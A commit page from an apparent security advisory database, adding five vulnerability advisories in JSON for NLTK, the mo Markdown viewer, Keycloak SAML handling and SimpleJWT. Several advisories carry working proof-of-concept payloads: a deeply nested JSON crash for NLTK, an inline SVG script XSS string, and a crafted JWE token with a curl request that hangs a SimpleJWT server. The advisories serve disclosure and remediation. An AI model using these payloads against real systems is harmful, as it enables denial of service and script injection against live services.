Skip to content

Commit d48a05c

Browse files

File tree

5 files changed

+300
-8
lines changed

5 files changed

+300
-8
lines changed
Lines changed: 55 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,55 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-rf74-v2fm-23pw",
4+
"modified": "2026-03-18T20:17:43Z",
5+
"published": "2026-03-18T20:17:43Z",
6+
"aliases": [],
7+
"summary": "Natural Language Toolkit (NLTK) has unbounded recursion in JSONTaggedDecoder.decode_obj() may cause DoS",
8+
"details": "### Summary\n`JSONTaggedDecoder.decode_obj()` in `nltk/jsontags.py` calls itself \nrecursively without any depth limit. A deeply nested JSON structure \nexceeding `sys.getrecursionlimit()` (default: 1000) will raise an \nunhandled `RecursionError`, crashing the Python process.\n\n### Affected code\nFile: `nltk/jsontags.py`, lines 47–52\n```python\n@classmethod\ndef decode_obj(cls, obj):\n if isinstance(obj, dict):\n obj = {key: cls.decode_obj(val) for (key, val) in obj.items()}\n elif isinstance(obj, list):\n obj = list(cls.decode_obj(val) for val in obj)\n```\n\n### Proof of Concept\n```python\nimport sys, json\nfrom nltk.jsontags import JSONTaggedDecoder\n\ndepth = sys.getrecursionlimit() + 50 # e.g. 1050\npayload = '{\"x\":' * depth + \"null\" + \"}\" * depth\n\n# Raises RecursionError, crashing the process\njson.loads(payload, cls=JSONTaggedDecoder)\n```\n\n### Impact\nAny code path that passes externally-supplied JSON to \n`JSONTaggedDecoder` is vulnerable to denial of service.\nThe severity depends on whether such a path exists in the \ncalling code (e.g. `nltk/data.py`).\n\n### Suggested Fix\nAdd a depth parameter with a hard limit:\n```python\n@classmethod\ndef decode_obj(cls, obj, _depth=0):\n if _depth > 100:\n raise ValueError(\"JSON nesting too deep\")\n if isinstance(obj, dict):\n obj = {key: cls.decode_obj(val, _depth + 1) \n for (key, val) in obj.items()}\n elif isinstance(obj, list):\n obj = list(cls.decode_obj(val, _depth + 1) for val in obj)\n```",
9+
"severity": [
10+
{
11+
"type": "CVSS_V4",
12+
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"
13+
}
14+
],
15+
"affected": [
16+
{
17+
"package": {
18+
"ecosystem": "PyPI",
19+
"name": "nltk"
20+
},
21+
"ranges": [
22+
{
23+
"type": "ECOSYSTEM",
24+
"events": [
25+
{
26+
"introduced": "0"
27+
},
28+
{
29+
"last_affected": "3.9.3"
30+
}
31+
]
32+
}
33+
]
34+
}
35+
],
36+
"references": [
37+
{
38+
"type": "WEB",
39+
"url": "https://github.com/nltk/nltk/security/advisories/GHSA-rf74-v2fm-23pw"
40+
},
41+
{
42+
"type": "PACKAGE",
43+
"url": "https://github.com/nltk/nltk"
44+
}
45+
],
46+
"database_specific": {
47+
"cwe_ids": [
48+
"CWE-674"
49+
],
50+
"severity": "MODERATE",
51+
"github_reviewed": true,
52+
"github_reviewed_at": "2026-03-18T20:17:43Z",
53+
"nvd_published_at": null
54+
}
55+
}
Lines changed: 58 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,58 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-vccx-p757-pv6h",
4+
"modified": "2026-03-18T20:17:12Z",
5+
"published": "2026-03-18T20:17:12Z",
6+
"aliases": [],
7+
"summary": "mo has a XSS via inline SVG script tags in Markdown rendering",
8+
"details": "### Summary\n\nWhen rendering Markdown files containing inline SVG elements with `<script>` tags, the embedded JavaScript is executed in the browser. This is due to `rehype-raw` passing raw HTML (including SVG) through to the DOM without sanitization.\n\n### PoC\n\n```html\n<svg><script>alert(1)</script></svg>\n```\n\nEmbedding the above in a Markdown file opened with mo causes the script to execute.\n\n### Impact\n\nArbitrary JavaScript execution in the context of the mo application when a user opens a malicious Markdown file. This could lead to data exfiltration of other opened Markdown file contents.\n\n### Remediation\n\nFixed by adding `rehype-sanitize` to the Markdown rendering pipeline, which strips dangerous elements such as `<script>` while preserving safe HTML.",
9+
"severity": [
10+
{
11+
"type": "CVSS_V4",
12+
"score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N"
13+
}
14+
],
15+
"affected": [
16+
{
17+
"package": {
18+
"ecosystem": "Go",
19+
"name": "github.com/k1LoW/mo"
20+
},
21+
"ranges": [
22+
{
23+
"type": "ECOSYSTEM",
24+
"events": [
25+
{
26+
"introduced": "0"
27+
},
28+
{
29+
"fixed": "0.18.5"
30+
}
31+
]
32+
}
33+
],
34+
"database_specific": {
35+
"last_known_affected_version_range": "<= 0.18.4"
36+
}
37+
}
38+
],
39+
"references": [
40+
{
41+
"type": "WEB",
42+
"url": "https://github.com/k1LoW/mo/security/advisories/GHSA-vccx-p757-pv6h"
43+
},
44+
{
45+
"type": "PACKAGE",
46+
"url": "https://github.com/k1LoW/mo"
47+
}
48+
],
49+
"database_specific": {
50+
"cwe_ids": [
51+
"CWE-79"
52+
],
53+
"severity": "LOW",
54+
"github_reviewed": true,
55+
"github_reviewed_at": "2026-03-18T20:17:12Z",
56+
"nvd_published_at": null
57+
}
58+
}

advisories/unreviewed/2026/03/GHSA-wmxr-6j5f-838p/GHSA-wmxr-6j5f-838p.json renamed to advisories/github-reviewed/2026/03/GHSA-wmxr-6j5f-838p/GHSA-wmxr-6j5f-838p.json

Lines changed: 71 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1,24 +1,87 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-wmxr-6j5f-838p",
4-
"modified": "2026-03-18T03:32:09Z",
4+
"modified": "2026-03-18T20:17:21Z",
55
"published": "2026-03-18T03:32:09Z",
66
"aliases": [
77
"CVE-2026-2092"
88
],
9+
"summary": "Keycloak: Unauthorized access via improper validation of encrypted SAML assertions",
910
"details": "A flaw was found in Keycloak. Keycloak's Security Assertion Markup Language (SAML) broker endpoint does not properly validate encrypted assertions when the overall SAML response is not signed. An attacker with a valid signed SAML assertion can exploit this by crafting a malicious SAML response. This allows the attacker to inject an encrypted assertion for an arbitrary principal, leading to unauthorized access and potential information disclosure.",
1011
"severity": [
1112
{
1213
"type": "CVSS_V3",
1314
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:L"
1415
}
1516
],
16-
"affected": [],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Maven",
21+
"name": "org.keycloak:keycloak-saml-adapter-core"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"last_affected": "26.5.5"
32+
}
33+
]
34+
}
35+
]
36+
},
37+
{
38+
"package": {
39+
"ecosystem": "Maven",
40+
"name": "org.keycloak:keycloak-saml-core"
41+
},
42+
"ranges": [
43+
{
44+
"type": "ECOSYSTEM",
45+
"events": [
46+
{
47+
"introduced": "0"
48+
},
49+
{
50+
"last_affected": "26.5.5"
51+
}
52+
]
53+
}
54+
]
55+
},
56+
{
57+
"package": {
58+
"ecosystem": "Maven",
59+
"name": "org.keycloak:keycloak-services"
60+
},
61+
"ranges": [
62+
{
63+
"type": "ECOSYSTEM",
64+
"events": [
65+
{
66+
"introduced": "0"
67+
},
68+
{
69+
"last_affected": "26.5.5"
70+
}
71+
]
72+
}
73+
]
74+
}
75+
],
1776
"references": [
1877
{
1978
"type": "ADVISORY",
2079
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2092"
2180
},
81+
{
82+
"type": "WEB",
83+
"url": "https://github.com/keycloak/keycloak/commit/b40a25908d937bb0563ea516487bc2c7c1d92508"
84+
},
2285
{
2386
"type": "WEB",
2487
"url": "https://access.redhat.com/errata/RHSA-2026:3925"
@@ -42,15 +105,19 @@
42105
{
43106
"type": "WEB",
44107
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2437296"
108+
},
109+
{
110+
"type": "PACKAGE",
111+
"url": "https://github.com/keycloak/keycloak"
45112
}
46113
],
47114
"database_specific": {
48115
"cwe_ids": [
49116
"CWE-1287"
50117
],
51118
"severity": "HIGH",
52-
"github_reviewed": false,
53-
"github_reviewed_at": null,
119+
"github_reviewed": true,
120+
"github_reviewed_at": "2026-03-18T20:17:21Z",
54121
"nvd_published_at": "2026-03-18T02:16:24Z"
55122
}
56123
}

advisories/unreviewed/2026/03/GHSA-x4p7-7chp-64hq/GHSA-x4p7-7chp-64hq.json renamed to advisories/github-reviewed/2026/03/GHSA-x4p7-7chp-64hq/GHSA-x4p7-7chp-64hq.json

Lines changed: 56 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1,24 +1,72 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-x4p7-7chp-64hq",
4-
"modified": "2026-03-18T03:32:09Z",
4+
"modified": "2026-03-18T20:17:33Z",
55
"published": "2026-03-18T03:32:09Z",
66
"aliases": [
77
"CVE-2026-2603"
88
],
9+
"summary": "Keycloak: Unauthorized authentication via disabled SAML Identity Provider",
910
"details": "A flaw was found in Keycloak. A remote attacker could bypass security controls by sending a valid SAML response from an external Identity Provider (IdP) to the Keycloak SAML endpoint for IdP-initiated broker logins. This allows the attacker to complete broker logins even when the SAML Identity Provider is disabled, leading to unauthorized authentication.",
1011
"severity": [
1112
{
1213
"type": "CVSS_V3",
1314
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N"
1415
}
1516
],
16-
"affected": [],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Maven",
21+
"name": "org.keycloak:keycloak-services"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"last_affected": "26.5.5"
32+
}
33+
]
34+
}
35+
]
36+
},
37+
{
38+
"package": {
39+
"ecosystem": "Maven",
40+
"name": "org.keycloak:keycloak-server-spi-private"
41+
},
42+
"ranges": [
43+
{
44+
"type": "ECOSYSTEM",
45+
"events": [
46+
{
47+
"introduced": "0"
48+
},
49+
{
50+
"last_affected": "26.5.5"
51+
}
52+
]
53+
}
54+
]
55+
}
56+
],
1757
"references": [
1858
{
1959
"type": "ADVISORY",
2060
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2603"
2161
},
62+
{
63+
"type": "WEB",
64+
"url": "https://github.com/keycloak/keycloak/issues/46911"
65+
},
66+
{
67+
"type": "WEB",
68+
"url": "https://github.com/keycloak/keycloak/commit/8ed7e59dc08d79751a27c23aadb590f06b43f132"
69+
},
2270
{
2371
"type": "WEB",
2472
"url": "https://access.redhat.com/errata/RHSA-2026:3925"
@@ -42,15 +90,19 @@
4290
{
4391
"type": "WEB",
4492
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2440300"
93+
},
94+
{
95+
"type": "PACKAGE",
96+
"url": "https://github.com/keycloak/keycloak"
4597
}
4698
],
4799
"database_specific": {
48100
"cwe_ids": [
49101
"CWE-306"
50102
],
51103
"severity": "HIGH",
52-
"github_reviewed": false,
53-
"github_reviewed_at": null,
104+
"github_reviewed": true,
105+
"github_reviewed_at": "2026-03-18T20:17:33Z",
54106
"nvd_published_at": "2026-03-18T02:16:24Z"
55107
}
56108
}
Lines changed: 60 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,60 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-xw36-67f8-339x",
4+
"modified": "2026-03-18T20:16:59Z",
5+
"published": "2026-03-18T20:16:59Z",
6+
"aliases": [
7+
"CVE-2026-33204"
8+
],
9+
"summary": "SimpleJWT has an Unauthenticated Denial of Service via JWE header tampering",
10+
"details": "## Summary\n\nAn unauthenticated attacker can perform a Denial of Service via JWE header tampering when PBES2 algorithms are used. \nApplications that call `JWE::decrypt()` on attacker-controlled JWEs using PBES2 algorithms are affected.\n\n## Details\n\nPHP version: `PHP 8.4.11`\nSimpleJWT version: `v1.1.0`\n\nThe relevant portion of the vulnerable implementation is shown below ([PBES2.php](https://github.com/kelvinmo/simplejwt/blob/edb7807a240b72c59e72d7dca31add9d16555f9f/src/SimpleJWT/Crypt/KeyManagement/PBES2.php)):\n\n```PHP\n<?php\n/* ... SNIP ... */\nclass PBES2 extends BaseAlgorithm implements KeyEncryptionAlgorithm {\n use AESKeyWrapTrait;\n\n /** @var array<string, mixed> $alg_params */\n static protected $alg_params = [\n 'PBES2-HS256+A128KW' => ['hash' => 'sha256'],\n 'PBES2-HS384+A192KW' => ['hash' => 'sha384'],\n 'PBES2-HS512+A256KW' => ['hash' => 'sha512']\n ];\n\n /** @var truthy-string $hash_alg */\n protected $hash_alg;\n\n /** @var int $iterations */\n protected $iterations = 4096;\n \n /* ... SNIP ... */\n\n /**\n * Sets the number of iterations to use in PBKFD2 key generation.\n *\n * @param int $iterations number of iterations\n * @return void\n */\n public function setIterations(int $iterations) {\n $this->iterations = $iterations;\n }\n \n /* ... SNIP ... */\n\n /**\n * {@inheritdoc}\n */\n public function decryptKey(string $encrypted_key, KeySet $keys, array $headers, ?string $kid = null): string {\n /** @var SymmetricKey $key */\n $key = $this->selectKey($keys, $kid);\n if ($key == null) {\n throw new CryptException('Key not found or is invalid', CryptException::KEY_NOT_FOUND_ERROR);\n }\n if (!isset($headers['p2s']) || !isset($headers['p2c'])) {\n throw new CryptException('p2s or p2c headers not set', CryptException::INVALID_DATA_ERROR);\n }\n\n $derived_key = $this->generateKeyFromPassword($key->toBinary(), $headers);\n return $this->unwrapKey($encrypted_key, $derived_key, $headers);\n }\n \n /* ... SNIP ... */\n\n /**\n * @param array<string, mixed> $headers\n */\n private function generateKeyFromPassword(string $password, array $headers): string {\n $salt = $headers['alg'] . \"\\x00\" . Util::base64url_decode($headers['p2s']);\n /** @var int<0, max> $length */\n $length = intdiv($this->getAESKWKeySize(), 8);\n\n return hash_pbkdf2($this->hash_alg, $password, $salt, $headers['p2c'], $length, true);\n }\n}\n?>\n```\n\nThe security flaw lies in the lack of input validation when handling JWEs that uses PBES2. \nA \"sanity ceiling\" is not set on the iteration count, which is the parameter known in the JWE specification as `p2c` ([RFC7518](https://datatracker.ietf.org/doc/html/rfc7518#section-4.8.1.2)). \nThe library calls `decryptKey()` with the untrusted input `$headers` which then use the PHP function `hash_pbkdf2()` with the user-supplied value `$headers['p2c']`.\n\nThis results in an algorithmic complexity denial-of-service (CPU exhaustion) because the PBKDF2 iteration count is fully attacker-controlled. \nBecause the header is processed before successful decryption and authentication, the attack can be triggered using an invalid JWE, meaning authentication is not required.\n\n## Proof of Concept\n\nSpin up a simple PHP server which accepts a JWE as input and tries to decrypt the user supplied JWE.\n\n```bash\nmkdir simplejwt-poc\ncd simplejwt-poc\ncomposer install\ncomposer require kelvinmo/simplejwt\nphp -S localhost:8000\n```\n\nThe content of `index.php`:\n\n```php\n<?php\n\nrequire __DIR__ . '/vendor/autoload.php';\n\n$set = SimpleJWT\\Keys\\KeySet::createFromSecret('secret123');\n\n$uri = parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH);\n$method = $_SERVER['REQUEST_METHOD'];\n\nif ($uri === '/encrypt' && $method === 'GET') {\n // Note $headers['alg'] and $headers['enc'] are required\n $headers = ['alg' => 'PBES2-HS256+A128KW', 'enc' => 'A256CBC-HS512'];\n $plaintext = 'This is the plaintext I want to encrypt.';\n $jwe = new SimpleJWT\\JWE($headers, $plaintext);\n\n try {\n echo \"Encrypted JWE: \" . $jwe->encrypt($set);\n } catch (\\RuntimeException $e) {\n echo $e;\n }\n}\n\nelseif ($uri === '/decrypt' && $method === 'GET') {\n try {\n $jwe = $_GET['s'];\n $jwe = SimpleJWT\\JWE::decrypt($jwe, $set, 'PBES2-HS256+A128KW');\n } catch (SimpleJWT\\InvalidTokenException $e) {\n echo $e;\n }\n echo $jwe->getHeader('alg') . \"<br>\";\n echo $jwe->getHeader('enc') . \"<br>\";\n echo $jwe->getPlaintext() . \"<br>\";\n }\n\nelse {\n http_response_code(404);\n echo \"Route not found\";\n}\n\n?>\n```\n\nWe have to craft a JWE (even unsigned and unencrypted) with this header, notice the extremely large p2c value (more than 400 billion iterations):\n\n```json\n{\n \"alg\": \"PBES2-HS256+A128KW\",\n \"enc\": \"A128CBC-HS256\",\n \"p2s\": \"blablabla\",\n \"p2c\": 409123223136\n}\n```\n\nThe final JWE with poisoned header: `eyJhbGciOiJQQkVTMi1IUzI1NitBMTI4S1ciLCJlbmMiOiJBMTI4Q0JDLUhTMjU2IiwicDJzIjoiYmxhYmxhYmxhIiwicDJjIjo0MDkxMjMyMjMxMzZ9.bla.bla.bla.bla`.\n\nNotice that only the header needs to be valid Base64URL JSON, the remaining JWE segments can contain arbitrary data.\n\nPerform the following request to the server (which tries to derive the PBES2 key):\n\n```bash\ncurl --path-as-is -i -s -k -X $'GET' \\\n -H $'Host: localhost:8000' \\\n $'http://localhost:8000/decrypt?s=eyJhbGciOiJQQkVTMi1IUzI1NitBMTI4S1ciLCJlbmMiOiJBMTI4Q0JDLUhTMjU2IiwicDJzIjoiYmxhYmxhYmxhIiwicDJjIjo0MDkxMjMyMjMxMzZ9.bla.bla.bla.bla'\n```\n\nThe request blocks the worker until the PHP execution timeout is reached, shutting down the server:\n\n```console\n[Sun Mar 15 11:42:18 2026] PHP 8.4.11 Development Server (http://localhost:8000) started\n[Sun Mar 15 11:42:20 2026] 127.0.0.1:38532 Accepted\n\nFatal error: Maximum execution time of 30+2 seconds exceeded (terminated) in /home/edoardottt/hack/test/simplejwt-poc/vendor/kelvinmo/simplejwt/src/SimpleJWT/Crypt/KeyManagement/PBES2.php on line 168\n```\n\n## Impact\n\nAn attacker can send a crafted JWE with an extremely large `p2c` value to force the server to perform a very large number of PBKDF2 iterations. \nThis causes excessive CPU consumption during key derivation and blocks the request worker until execution limits are reached. \nRepeated requests can exhaust server resources and make the application unavailable to legitimate users.\n\n## Credits \n\nEdoardo Ottavianelli (@edoardottt)",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Packagist",
21+
"name": "kelvinmo/simplejwt"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "1.1.1"
32+
}
33+
]
34+
}
35+
],
36+
"database_specific": {
37+
"last_known_affected_version_range": "<= 1.1.0"
38+
}
39+
}
40+
],
41+
"references": [
42+
{
43+
"type": "WEB",
44+
"url": "https://github.com/kelvinmo/simplejwt/security/advisories/GHSA-xw36-67f8-339x"
45+
},
46+
{
47+
"type": "PACKAGE",
48+
"url": "https://github.com/kelvinmo/simplejwt"
49+
}
50+
],
51+
"database_specific": {
52+
"cwe_ids": [
53+
"CWE-400"
54+
],
55+
"severity": "HIGH",
56+
"github_reviewed": true,
57+
"github_reviewed_at": "2026-03-18T20:16:59Z",
58+
"nvd_published_at": null
59+
}
60+
}

0 commit comments

Comments
 (0)